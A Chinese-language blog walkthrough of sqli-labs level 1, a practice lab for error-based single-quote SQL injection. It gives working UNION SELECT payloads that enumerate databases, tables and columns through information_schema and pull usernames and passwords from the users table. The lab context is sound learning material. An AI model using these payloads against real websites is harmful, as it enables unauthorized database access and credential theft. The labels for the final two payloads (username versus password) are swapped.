1. 程式人生 > 實用技巧 >sqli-labs第一關:基於錯誤的GET單引號字元型注入

sqli-labs第一關:基於錯誤的GET單引號字元型注入

點進去題目:在這裡插入圖片描述提示我們輸入題目id,第一題,所以我們輸入?id=1,回車即可。如圖:在這裡插入圖片描述首先可以判斷這裡接受的是一個GET請求,先在1後面加一個’ 發現報錯,說明這裡沒有過濾掉引號,所以這裡是一個注入點
在這裡插入圖片描述SQL注入通常有兩種型別,整形注入和字元型注入,那麼我們要判斷這是哪種注入就要分析這裡的報錯語句,報錯資訊中共有5個單引號,"實際上是兩個單引號,最外面的兩個是報錯資訊的提示引號,'1’兩邊的引號是後臺程式碼的引號,多出來的就是我們加上的,因為這裡給輸入的1加上了引號所以後臺接受的是字元型,那麼我們在後續的注入中需要加 ’ 來閉合後面的引號

接下來我們需要通常使用order by加數字判斷表中有幾列,數字 1 2 3 4 5一直試直到報錯為止,另外-- (這裡有一個空格,–空格)在SQL內表示註釋,但在URL中,如果在最後加上-- ,瀏覽器在傳送請求的時候會把URL末尾的空格捨去,所以我們用–+代替-- ,原因是+在URL被URL編碼後會變成空格。這裡我們發現到了數字4就報錯了,所以這裡有3列,在這裡插入圖片描述

在這裡插入圖片描述接下來我們需要判斷這裡的回顯位置,將id=1改為一個數據庫不存在的id值,如666,使用union select 1,2,3聯合查詢語句檢視頁面是否有顯示位。
為什麼這裡得用666??為什麼2,3被顯示了? ?這裡,容我大概說說:
因為,程式在展示資料的時候通常只會取結果集的第一行資料,看一下原始碼,mysql_fetch_array只被呼叫了一次,而mysql_fetch_array從結果集中取得一行作為關聯陣列或數字陣列或二者兼有,具體看第二個引數是什麼。所以這裡無論怎麼折騰最後只會出來第一行的查詢結果。只要讓第一行查詢的結果是空集,即union左邊的select子句查詢結果為空,那麼union右邊的查詢結果自然就成為了第一行,列印在網頁上了。將id改成666,使union前面的語句報錯,執行後面的,爆出顯示位2,3
在這裡插入圖片描述
我們這裡選擇在2的位置放上SQL語句
接下來我們需要檢視庫名
id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
在這裡插入圖片描述group_concat() 函式:用於將SQL語句的結果拼接在一起,如果我們的查詢結果多於一個就需要將這些結果拼接出來,大家可以試一試,如果這裡不使用group函式會報錯,提示輸出結果多於一行

information_schema 庫:這個庫是在MySql 5.0之後的一個庫,用來存放整個資料庫的資訊,裡面可以查詢到 所有的庫名,表名,列明。 所以,我們所需要的MySQL資料庫版本必須在5.0以上。

查詢security內的所有表名:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+
在這裡插入圖片描述接著使用下面的語句爆破出列名:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(column_name) from information_schema.columns where table_name=‘users’) --+
在這裡插入圖片描述最後使用如下語句查詢所有的使用者名稱,密碼.
使用者名稱:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(password) from security.users) --+
在這裡插入圖片描述密碼:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(username) from security.users) --+
在這裡插入圖片描述好啦,第一關到此基本就結束了,萌新做題,瑕疵百出,錯的地方希望各位大佬能夠指明,不會的我說不定也可以幫你們喲。